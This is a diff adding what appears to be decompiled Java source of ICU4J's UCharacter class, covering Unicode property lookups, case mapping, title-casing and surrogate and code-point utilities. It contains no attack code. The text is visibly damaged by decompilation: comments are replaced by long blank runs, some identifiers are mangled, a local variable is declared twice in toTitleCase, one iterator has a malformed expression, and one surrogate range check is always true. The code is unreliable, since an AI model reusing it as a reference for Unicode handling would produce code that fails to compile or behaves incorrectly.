+  public static boolean isUnicodeIdentifierPart(int ch)
+  {
+    return ((1 << getType(ch) & 0x40077E) != 0) || (isIdentifierIgnorable(ch));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isUnicodeIdentifierStart(int ch)
+  {
+    return (1 << getType(ch) & 0x43E) != 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isIdentifierIgnorable(int ch)
+  {
+    if (ch <= 159) {
+      return (isISOControl(ch)) && ((ch < 9) || (ch > 13)) && ((ch < 28) || (ch > 31));
+    }
+    
+
+    return getType(ch) == 16;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isUpperCase(int ch)
+  {
+    return getType(ch) == 1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int toLowerCase(int ch)
+  {
+    return UCaseProps.INSTANCE.tolower(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toString(int ch)
+  {
+    if ((ch < 0) || (ch > 1114111)) {
+      return null;
+    }
+    
+    if (ch < 65536) {
+      return String.valueOf((char)ch);
+    }
+    
+    StringBuilder result = new StringBuilder();
+    result.append(UTF16.getLeadSurrogate(ch));
+    result.append(UTF16.getTrailSurrogate(ch));
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int toTitleCase(int ch)
+  {
+    return UCaseProps.INSTANCE.totitle(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int toUpperCase(int ch)
+  {
+    return UCaseProps.INSTANCE.toupper(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isSupplementary(int ch)
+  {
+    return (ch >= 65536) && (ch <= 1114111);
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isBMP(int ch)
+  {
+    return (ch >= 0) && (ch <= 65535);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isPrintable(int ch)
+  {
+    int cat = getType(ch);
+    
+    return (cat != 0) && (cat != 15) && (cat != 16) && (cat != 17) && (cat != 18) && (cat != 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isBaseForm(int ch)
+  {
+    int cat = getType(ch);
+    
+    return (cat == 9) || (cat == 11) || (cat == 10) || (cat == 1) || (cat == 2) || (cat == 3) || (cat == 4) || (cat == 5) || (cat == 6) || (cat == 7) || (cat == 8);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getDirection(int ch)
+  {
+    return UBiDiProps.INSTANCE.getClass(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean isMirrored(int ch)
+  {
+    return UBiDiProps.INSTANCE.isMirrored(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getMirror(int ch)
+  {
+    return UBiDiProps.INSTANCE.getMirror(ch);
+  }
+  
+
+
+
+
+
+
+  public static int getCombiningClass(int ch)
+  {
+    return getNFCInstancedecomp.getCombiningClass(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isLegal(int ch)
+  {
+    if (ch < 0) {
+      return false;
+    }
+    if (ch < 55296) {
+      return true;
+    }
+    if (ch <= 57343) {
+      return false;
+    }
+    if (UCharacterUtility.isNonCharacter(ch)) {
+      return false;
+    }
+    return ch <= 1114111;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isLegal(String str)
+  {
+    int size = str.length();
+    
+    for (int i = 0; i < size; i++)
+    {
+      int codepoint = UTF16.charAt(str, i);
+      if (!isLegal(codepoint)) {
+        return false;
+      }
+      if (isSupplementary(codepoint)) {
+        i++;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public static VersionInfo getUnicodeVersion()
+  {
+    return INSTANCEm_unicodeVersion_;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static String getName(int ch)
+  {
+    return UCharacterName.INSTANCE.getName(ch, 0);
+  }
+  
+
+
+
+
+
+
+  public static String getName(String s, String separator)
+  {
+    if (s.length() == 1) {
+      return getName(s.charAt(0));
+    }
+    
+    StringBuilder sb = new StringBuilder();
+    int cp; for (int i = 0; i < s.length(); i += UTF16.getCharCount(cp)) {
+      cp = UTF16.charAt(s, i);
+      if (i != 0) sb.append(separator);
+      sb.append(getName(cp));
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static String getName1_0(int ch)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String getExtendedName(int ch)
+  {
+    return UCharacterName.INSTANCE.getName(ch, 2);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static String getNameAlias(int ch)
+  {
+    return UCharacterName.INSTANCE.getName(ch, 3);
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static String getISOComment(int ch)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int getCharFromName(String name)
+  {
+    return UCharacterName.INSTANCE.getCharFromName(0, name);
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static int getCharFromName1_0(String name)
+  {
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getCharFromExtendedName(String name)
+  {
+    return UCharacterName.INSTANCE.getCharFromName(2, name);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int getCharFromNameAlias(String name)
+  {
+    return UCharacterName.INSTANCE.getCharFromName(3, name);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String getPropertyName(int property, int nameChoice)
+  {
+    return UPropertyAliases.INSTANCE.getPropertyName(property, nameChoice);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getPropertyEnum(CharSequence propertyAlias)
+  {
+    int propEnum = UPropertyAliases.INSTANCE.getPropertyEnum(propertyAlias);
+    if (propEnum == -1) {
+      throw new IllegalIcuArgumentException("Invalid name: " + propertyAlias);
+    }
+    return propEnum;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String getPropertyValueName(int property, int value, int nameChoice)
+  {
+    if (((property == 4098) || (property == 4112) || (property == 4113)) && (value >= getIntPropertyMinValue(4098)) && (value <= getIntPropertyMaxValue(4098)) && (nameChoice >= 0) && (nameChoice < 2))
+    {
+
+
+
+      try
+      {
+
+
+
+
+        return UPropertyAliases.INSTANCE.getPropertyValueName(property, value, nameChoice);
+      }
+      catch (IllegalArgumentException e)
+      {
+        return null;
+      }
+    }
+    return UPropertyAliases.INSTANCE.getPropertyValueName(property, value, nameChoice);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getPropertyValueEnum(int property, CharSequence valueAlias)
+  {
+    int propEnum = UPropertyAliases.INSTANCE.getPropertyValueEnum(property, valueAlias);
+    if (propEnum == -1) {
+      throw new IllegalIcuArgumentException("Invalid name: " + valueAlias);
+    }
+    return propEnum;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int getCodePoint(char lead, char trail)
+  {
+    if ((UTF16.isLeadSurrogate(lead)) && (UTF16.isTrailSurrogate(trail))) {
+      return UCharacterProperty.getRawSupplementary(lead, trail);
+    }
+    throw new IllegalArgumentException("Illegal surrogate characters");
+  }
+  
+
+
+
+
+
+
+
+
+  public static int getCodePoint(char char16)
+  {
+    if (isLegal(char16)) {
+      return char16;
+    }
+    throw new IllegalArgumentException("Illegal codepoint");
+  }
+  
+  public static abstract interface HangulSyllableType {
+    public static final int NOT_APPLICABLE = 0;
+    public static final int LEADING_JAMO = 1;
+    public static final int VOWEL_JAMO = 2;
+    public static final int TRAILING_JAMO = 3;
+    public static final int LV_SYLLABLE = 4;
+    public static final int LVT_SYLLABLE = 5;
+    public static final int COUNT = 6;
+  }
+  
+  private static class StringContextIterator implements UCaseProps.ContextIterator { StringContextIterator(String s) { this.s = s;
+      limit = s.length();
+      cpStart = (this.cpLimit = this.index = 0);
+      dir = 0;
+    }
+    
+
+
+    protected String s;
+    
+
+    protected int index;
+    
+    protected int limit;
+    
+    public void setLimit(int lim)
+    {
+      if ((0 <= lim) && (lim <= s.length())) {
+        limit = lim;
+      } else {
+        limit = s.length();
+      }
+    }
+    
+
+
+    public void moveToLimit()
+    {
+      cpStart = (this.cpLimit = limit);
+    }
+    
+
+
+
+    protected int cpStart;
+    
+
+    protected int cpLimit;
+    
+
+    protected int dir;
+    
+
+    public int nextCaseMapCP()
+    {
+      cpStart = cpLimit;
+      if (cpLimit < limit) {
+        int c = s.charAt(cpLimit++);
+        if ((55296 <= c) || (c <= 57343)) {
+          char c2;
+          if ((c <= 56319) && (cpLimit < limit) && (56320 <= (c2 = s.charAt(cpLimit))) && (c2 <= 57343))
+          {
+
+
+
+            cpLimit += 1;
+            c = UCharacterProperty.getRawSupplementary((char)c, c2);
+          }
+        }
+        
+
+        return c;
+      }
+      return -1;
+    }
+    
+
+
+
+
+    public int getCPStart()
+    {
+      return cpStart;
+    }
+    
+
+
+
+    public int getCPLimit()
+    {
+      return cpLimit;
+    }
+    
+
+    public void reset(int direction)
+    {
+      if (direction > 0)
+      {
+        dir = 1;
+        index = cpLimit;
+      } else if (direction < 0)
+      {
+        dir = -1;
+        index = cpStart;
+      }
+      else {
+        dir = 0;
+        index = 0;
+      }
+    }
+    
+
+    public int next()
+    {
+      if ((dir > 0) && (index < s.length())) {
+        int c = UTF16.charAt(s, index);
+        index += UTF16.getCharCount(c);
+        return c; }
+      if ((dir < 0) && (index > 0)) {
+        int c = UTF16.charAt(s, index - 1);
+        index -= UTF16.getCharCount(c);
+        return c;
+      }
+      return -1;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toUpperCase(String str)
+  {
+    return toUpperCase(ULocale.getDefault(), str);
+  }
+  
+
+
+
+
+
+
+
+  public static String toLowerCase(String str)
+  {
+    return toLowerCase(ULocale.getDefault(), str);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toTitleCase(String str, BreakIterator breakiter)
+  {
+    return toTitleCase(ULocale.getDefault(), str, breakiter);
+  }
+  
+
+
+
+
+
+
+
+
+  public static String toUpperCase(Locale locale, String str)
+  {
+    return toUpperCase(ULocale.forLocale(locale), str);
+  }
+  
+
+
+
+
+
+
+
+  public static String toUpperCase(ULocale locale, String str)
+  {
+    StringContextIterator iter = new StringContextIterator(str);
+    StringBuilder result = new StringBuilder(str.length());
+    int[] locCache = new int[1];
+    
+
+    if (locale == null) {
+      locale = ULocale.getDefault();
+    }
+    locCache[0] = 0;
+    int c;
+    while ((c = iter.nextCaseMapCP()) >= 0) {
+      c = UCaseProps.INSTANCE.toFullUpper(c, iter, result, locale, locCache);
+      
+
+      if (c < 0)
+      {
+        c ^= 0xFFFFFFFF; } else {
+        if (c <= 31) {
+          continue;
+        }
+      }
+      
+      result.appendCodePoint(c);
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+  public static String toLowerCase(Locale locale, String str)
+  {
+    return toLowerCase(ULocale.forLocale(locale), str);
+  }
+  
+
+
+
+
+
+
+
+  public static String toLowerCase(ULocale locale, String str)
+  {
+    StringContextIterator iter = new StringContextIterator(str);
+    StringBuilder result = new StringBuilder(str.length());
+    int[] locCache = new int[1];
+    
+
+    if (locale == null) {
+      locale = ULocale.getDefault();
+    }
+    locCache[0] = 0;
+    int c;
+    while ((c = iter.nextCaseMapCP()) >= 0) {
+      c = UCaseProps.INSTANCE.toFullLower(c, iter, result, locale, locCache);
+      
+
+      if (c < 0)
+      {
+        c ^= 0xFFFFFFFF; } else {
+        if (c <= 31) {
+          continue;
+        }
+      }
+      
+      result.appendCodePoint(c);
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toTitleCase(Locale locale, String str, BreakIterator breakiter)
+  {
+    return toTitleCase(ULocale.forLocale(locale), str, breakiter);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toTitleCase(ULocale locale, String str, BreakIterator titleIter)
+  {
+    return toTitleCase(locale, str, titleIter, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String toTitleCase(ULocale locale, String str, BreakIterator titleIter, int options)
+  {
+    StringContextIterator iter = new StringContextIterator(str);
+    StringBuilder result = new StringBuilder(str.length());
+    int[] locCache = new int[1];
+    int srcLength = str.length();
+    
+    if (locale == null) {
+      locale = ULocale.getDefault();
+    }
+    locCache[0] = 0;
+    
+    if (titleIter == null) {
+      titleIter = BreakIterator.getWordInstance(locale);
+    }
+    titleIter.setText(str);
+    
+
+
+    boolean isDutch = locale.getLanguage().equals("nl");
+    boolean FirstIJ = true;
+    
+
+    int prev = 0;
+    boolean isFirstIndex = true;
+    
+
+    while (prev < srcLength) { int index;
+      int index;
+      if (isFirstIndex) {
+        isFirstIndex = false;
+        index = titleIter.first();
+      } else {
+        index = titleIter.next();
+      }
+      if ((index == -1) || (index > srcLength)) {
+        index = srcLength;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+      if (prev < index)
+      {
+        iter.setLimit(index);
+        int c = iter.nextCaseMapCP();
+        int titleStart; if (((options & 0x200) == 0) && (0 == UCaseProps.INSTANCE.getType(c)))
+        {
+
+          while (((c = iter.nextCaseMapCP()) >= 0) && (0 == UCaseProps.INSTANCE.getType(c))) {}
+          int titleStart = iter.getCPStart();
+          if (prev < titleStart) {
+            result.append(str, prev, titleStart);
+          }
+        } else {
+          titleStart = prev;
+        }
+        
+        if (titleStart < index) {
+          FirstIJ = true;
+          
+          c = UCaseProps.INSTANCE.toFullTitle(c, iter, result, locale, locCache);
+          
+          for (;;)
+          {
+            if (c < 0)
+            {
+              c ^= 0xFFFFFFFF;
+              result.appendCodePoint(c);
+            } else if (c > 31)
+            {
+
+
+              result.appendCodePoint(c);
+            }
+            
+            if ((options & 0x100) != 0)
+            {
+
+              int titleLimit = iter.getCPLimit();
+              if (titleLimit < index)
+              {
+
+                String appendStr = str.substring(titleLimit, index);
+                
+                if ((isDutch) && (c == 73) && (appendStr.startsWith("j"))) {
+                  appendStr = "J" + appendStr.substring(1);
+                }
+                result.append(appendStr);
+              }
+              iter.moveToLimit();
+              break; }
+            int nc; if ((nc = iter.nextCaseMapCP()) < 0) break;
+            if ((isDutch) && ((nc == 74) || (nc == 106)) && (c == 73) && (FirstIJ == true))
+            {
+              c = 74;
+              FirstIJ = false;
+            }
+            else {
+              c = UCaseProps.INSTANCE.toFullLower(nc, iter, result, locale, locCache);
+            }
+          }
+        }
+      }
+      
+
+
+
+
+      prev = index;
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int foldCase(int ch, boolean defaultmapping)
+  {
+    return foldCase(ch, defaultmapping ? 0 : 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String foldCase(String str, boolean defaultmapping)
+  {
+    return foldCase(str, defaultmapping ? 0 : 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int foldCase(int ch, int options)
+  {
+    return UCaseProps.INSTANCE.fold(ch, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final String foldCase(String str, int options)
+  {
+    StringBuilder result = new StringBuilder(str.length());
+    
+
+    int length = str.length();
+    for (int i = 0; i < length;) {
+      int c = UTF16.charAt(str, i);
+      i += UTF16.getCharCount(c);
+      c = UCaseProps.INSTANCE.toFullFolding(c, result, options);
+      
+
+      if (c < 0)
+      {
+        c ^= 0xFFFFFFFF; } else {
+        if (c <= 31) {
+          continue;
+        }
+      }
+      
+      result.appendCodePoint(c);
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getHanNumericValue(int ch)
+  {
+    switch (ch)
+    {
+    case 12295: 
+    case 38646: 
+      return 0;
+    case 19968: 
+    case 22777: 
+      return 1;
+    case 20108: 
+    case 36019: 
+      return 2;
+    case 19977: 
+    case 21443: 
+      return 3;
+    case 22235: 
+    case 32902: 
+      return 4;
+    case 20116: 
+    case 20237: 
+      return 5;
+    case 20845: 
+    case 38520: 
+      return 6;
+    case 19971: 
+    case 26578: 
+      return 7;
+    case 20843: 
+    case 25420: 
+      return 8;
+    case 20061: 
+    case 29590: 
+      return 9;
+    case 21313: 
+    case 25342: 
+      return 10;
+    case 20336: 
+    case 30334: 
+      return 100;
+    case 20191: 
+    case 21315: 
+      return 1000;
+    case 33356: 
+      return 10000;
+    case 20740: 
+      return 100000000;
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static RangeValueIterator getTypeIterator() { return new UCharacterTypeIterator(); }
+  
+  private static final class UCharacterTypeIterator implements RangeValueIterator { private Iterator<Trie2.Range> trieIterator;
+    private Trie2.Range range;
+    
+    UCharacterTypeIterator() { reset(); }
+    
+
+    public boolean next(RangeValueIterator.Element element)
+    {
+      if ((trieIterator.hasNext()) && (!trieIterator.next()).leadSurrogate)) {
+        start = range.startCodePoint;
+        limit = (range.endCodePoint + 1);
+        value = range.value;
+        return true;
+      }
+      return false;
+    }
+    
+
+    public void reset()
+    {
+      trieIterator = INSTANCEm_trie_.iterator(MASK_TYPE);
+    }
+    
+
+    private static final class MaskType
+      implements Trie2.ValueMapper
+    {
+      private MaskType() {}
+      
+      public int map(int value) { return value & 0x1F; }
+    }
+    
+    private static final MaskType MASK_TYPE = new MaskType(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ValueIterator getNameIterator()
+  {
+    return new UCharacterNameIterator(UCharacterName.INSTANCE, 0);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static ValueIterator getName1_0Iterator() { return new DummyValueIterator(null); }
+  
+  private static final class DummyValueIterator implements ValueIterator { private DummyValueIterator() {}
+    
+    public boolean next(ValueIterator.Element element) { return false; }
+    
+
+
+
+
+
+
+    public void reset() {}
+    
+
+
+
+
+
+    public void setRange(int start, int limit) {}
+  }
+  
+
+
+
+
+
+  public static ValueIterator getExtendedNameIterator()
+  {
+    return new UCharacterNameIterator(UCharacterName.INSTANCE, 2);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static VersionInfo getAge(int ch)
+  {
+    if ((ch < 0) || (ch > 1114111)) {
+      throw new IllegalArgumentException("Codepoint out of bounds");
+    }
+    return UCharacterProperty.INSTANCE.getAge(ch);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean hasBinaryProperty(int ch, int property)
+  {
+    return UCharacterProperty.INSTANCE.hasBinaryProperty(ch, property);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isUAlphabetic(int ch)
+  {
+    return hasBinaryProperty(ch, 0);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isULowercase(int ch)
+  {
+    return hasBinaryProperty(ch, 22);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean isUUppercase(int ch)
+  {
+    return hasBinaryProperty(ch, 30);
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isUWhiteSpace(int ch)
+  {
+    return hasBinaryProperty(ch, 31);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getIntPropertyValue(int ch, int type)
+  {
+    return UCharacterProperty.INSTANCE.getIntPropertyValue(ch, type);
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static String getStringPropertyValue(int propertyEnum, int codepoint, int nameChoice)
+  {
+    if (((propertyEnum >= 0) && (propertyEnum < 57)) || ((propertyEnum >= 4096) && (propertyEnum < 4117)))
+    {
+      return getPropertyValueName(propertyEnum, getIntPropertyValue(codepoint, propertyEnum), nameChoice);
+    }
+    
+    if (propertyEnum == 12288) {
+      return String.valueOf(getUnicodeNumericValue(codepoint));
+    }
+    
+    switch (propertyEnum) {
+    case 16384:  return getAge(codepoint).toString();
+    case 16387:  return getISOComment(codepoint);
+    case 16385:  return UTF16.valueOf(getMirror(codepoint));
+    case 16386:  return foldCase(UTF16.valueOf(codepoint), true);
+    case 16388:  return toLowerCase(UTF16.valueOf(codepoint));
+    case 16389:  return getName(codepoint);
+    case 16390:  return UTF16.valueOf(foldCase(codepoint, true));
+    case 16391:  return UTF16.valueOf(toLowerCase(codepoint));
+    case 16392:  return UTF16.valueOf(toTitleCase(codepoint));
+    case 16393:  return UTF16.valueOf(toUpperCase(codepoint));
+    case 16394:  return toTitleCase(UTF16.valueOf(codepoint), null);
+    case 16395:  return getName1_0(codepoint);
+    case 16396:  return toUpperCase(UTF16.valueOf(codepoint));
+    }
+    throw new IllegalArgumentException("Illegal Property Enum");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getIntPropertyMinValue(int type)
+  {
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int getIntPropertyMaxValue(int type)
+  {
+    return UCharacterProperty.INSTANCE.getIntPropertyMaxValue(type);
+  }
+  
+
+
+
+  public static char forDigit(int digit, int radix)
+  {
+    return Character.forDigit(digit, radix);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final boolean isValidCodePoint(int cp)
+  {
+    return (cp >= 0) && (cp <= 1114111);
+  }
+  
+
+
+
+
+
+  public static final boolean isSupplementaryCodePoint(int cp)
+  {
+    return (cp >= 65536) && (cp <= 1114111);
+  }
+  
+
+
+
+
+
+
+  public static boolean isHighSurrogate(char ch)
+  {
+    return (ch >= 55296) && (ch <= 56319);
+  }
+  
+
+
+
+
+
+  public static boolean isLowSurrogate(char ch)
+  {
+    return (ch >= 56320) && (ch <= 57343);
+  }
+  
+
+
+
+
+
+
+
+  public static final boolean isSurrogatePair(char high, char low)
+  {
+    return (isHighSurrogate(high)) && (isLowSurrogate(low));
+  }
+  
+
+
+
+
+
+
+
+
+  public static int charCount(int cp)
+  {
+    return UTF16.getCharCount(cp);
+  }
+  
+
+
+
+
+
+
+
+  public static final int toCodePoint(char high, char low)
+  {
+    return UCharacterProperty.getRawSupplementary(high, low);
+  }
+  
+
+
+
+
+
+
+
+
+  public static final int codePointAt(CharSequence seq, int index)
+  {
+    char c1 = seq.charAt(index++);
+    if ((isHighSurrogate(c1)) && 
+      (index < seq.length())) {
+      char c2 = seq.charAt(index);
+      if (isLowSurrogate(c2)) {
+        return toCodePoint(c1, c2);
+      }
+    }
+    
+    return c1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final int codePointAt(char[] text, int index)
+  {
+    char c1 = text[(index++)];
+    if ((isHighSurrogate(c1)) && 
+      (index < text.length)) {
+      char c2 = text[index];
+      if (isLowSurrogate(c2)) {
+        return toCodePoint(c1, c2);
+      }
+    }
+    
+    return c1;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static final int codePointAt(char[] text, int index, int limit)
+  {
+    if ((index >= limit) || (limit > text.length)) {
+      throw new IndexOutOfBoundsException();
+    }
+    char c1 = text[(index++)];
+    if ((isHighSurrogate(c1)) && 
+      (index < limit)) {
+      char c2 = text[index];
+      if (isLowSurrogate(c2)) {
+        return toCodePoint(c1, c2);
+      }
+    }
+    
+    return c1;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final int codePointBefore(CharSequence seq, int index)
+  {
+    char c2 = seq.charAt(--index);
+    if ((isLowSurrogate(c2)) && 
+      (index > 0)) {
+      char c1 = seq.charAt(--index);
+      if (isHighSurrogate(c1)) {
+        return toCodePoint(c1, c2);
+      }
+    }
+    
+    return c2;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final int codePointBefore(char[] text, int index)
+  {
+    char c2 = text[(--index)];
+    if ((isLowSurrogate(c2)) && 
+      (index > 0)) {
+      char c1 = text[(--index)];
+      if (isHighSurrogate(c1)) {
+        return toCodePoint(c1, c2);
+      }
+    }
+    
+    return c2;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static final int codePointBefore(char[] text, int index, int limit)
+  {
+    if ((index <= limit) || (limit < 0)) {
+      throw new IndexOutOfBoundsException();
+    }
+    char c2 = text[(--index)];
+    if ((isLowSurrogate(c2)) && 
+      (index > limit)) {
+      char c1 = text[(--index)];
+      if (isHighSurrogate(c1)) {
+        return toCodePoint(c1, c2);
+      }
+    }
+    
+    return c2;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static final int toChars(int cp, char[] dst, int dstIndex)
+  {
+    if (cp >= 0) {
+      if (cp < 65536) {
+        dst[dstIndex] = ((char)cp);
+        return 1;
+      }
+      if (cp <= 1114111) {
+        dst[dstIndex] = UTF16.getLeadSurrogate(cp);
+        dst[(dstIndex + 1)] = UTF16.getTrailSurrogate(cp);
+        return 2;
+      }
+    }
+    throw new IllegalArgumentException();
+  }
+  
+
+
+
+
+
+
+
+  public static final char[] toChars(int cp)
+  {
+    if (cp >= 0) {
+      if (cp < 65536) {
+        return new char[] { (char)cp };
+      }
+      if (cp <= 1114111) {
+        return new char[] { UTF16.getLeadSurrogate(cp), UTF16.getTrailSurrogate(cp) };
+      }
+    }
+    
+
+
+    throw new IllegalArgumentException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static byte getDirectionality(int cp)
+  {
+    return (byte)getDirection(cp);
+  }
+  
+
+
+
+
+
+
+
+  public static int codePointCount(CharSequence text, int start, int limit)
+  {
+    if ((start < 0) || (limit < start) || (limit > text.length())) {
+      throw new IndexOutOfBoundsException("start (" + start + ") or limit (" + limit + ") invalid or out of range 0, " + text.length());
+    }
+    
+
+
+    int len = limit - start;
+    while (limit > start) {
+      char ch = text.charAt(--limit);
+      while ((ch >= 56320) && (ch <= 57343) && (limit > start)) {
+        ch = text.charAt(--limit);
+        if ((ch >= 55296) && (ch <= 56319)) {
+          len--;
+        }
+      }
+    }
+    
+    return len;
+  }
+  
+
+
+
+
+
+
+
+  public static int codePointCount(char[] text, int start, int limit)
+  {
+    if ((start < 0) || (limit < start) || (limit > text.length)) {
+      throw new IndexOutOfBoundsException("start (" + start + ") or limit (" + limit + ") invalid or out of range 0, " + text.length);
+    }
+    
+
+
+    int len = limit - start;
+    while (limit > start) {
+      char ch = text[(--limit)];
+      while ((ch >= 56320) && (ch <= 57343) && (limit > start)) {
+        ch = text[(--limit)];
+        if ((ch >= 55296) && (ch <= 56319)) {
+          len--;
+        }
+      }
+    }
+    
+    return len;
+  }
+  
+
+
+
+
+
+
+
+  public static int offsetByCodePoints(CharSequence text, int index, int codePointOffset)
+  {
+    if ((index < 0) || (index > text.length())) {
+      throw new IndexOutOfBoundsException("index ( " + index + ") out of range 0, " + text.length());
+    }
+    
+
+    if (codePointOffset < 0) {
+      for (;;) { codePointOffset++; if (codePointOffset > 0) break;
+        char ch = text.charAt(--index);
+        while ((ch >= 56320) && (ch <= 57343) && (index > 0)) {
+          ch = text.charAt(--index);
+          if ((ch < 55296) || (ch > 56319)) {
+            codePointOffset++; if (codePointOffset > 0) {
+              return index + 1;
+            }
+          }
+        }
+      }
+    }
+    int limit = text.length();
+    for (;;) { codePointOffset--; if (codePointOffset < 0) break;
+      char ch = text.charAt(index++);
+      while ((ch >= 55296) && (ch <= 56319) && (index < limit)) {
+        ch = text.charAt(index++);
+        if ((ch < 56320) || (ch > 57343)) {
+          codePointOffset--; if (codePointOffset < 0) {
+            return index - 1;
+          }
+        }
+      }
+    }
+    
+
+    return index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int offsetByCodePoints(char[] text, int start, int count, int index, int codePointOffset)
+  {
+    int limit = start + count;
+    if ((start < 0) || (limit < start) || (limit > text.length) || (index < start) || (index > limit)) {
+      throw new IndexOutOfBoundsException("index ( " + index + ") out of range " + start + ", " + limit + " in array 0, " + text.length);
+    }
+    
+
+
+
+    if (codePointOffset < 0) {
+      for (;;) { codePointOffset++; if (codePointOffset > 0) break;
+        char ch = text[(--index)];
+        if (index < start) {
+          throw new IndexOutOfBoundsException("index ( " + index + ") < start (" + start + ")");
+        }
+        
+
+        while ((ch >= 56320) && (ch <= 57343) && (index > start)) {
+          ch = text[(--index)];
+          if ((ch < 55296) || (ch > 56319)) {
+            codePointOffset++; if (codePointOffset > 0)
+              return index + 1;
+          }
+        }
+      }
+    }
+    for (;;) {
+      codePointOffset--; if (codePointOffset < 0) break;
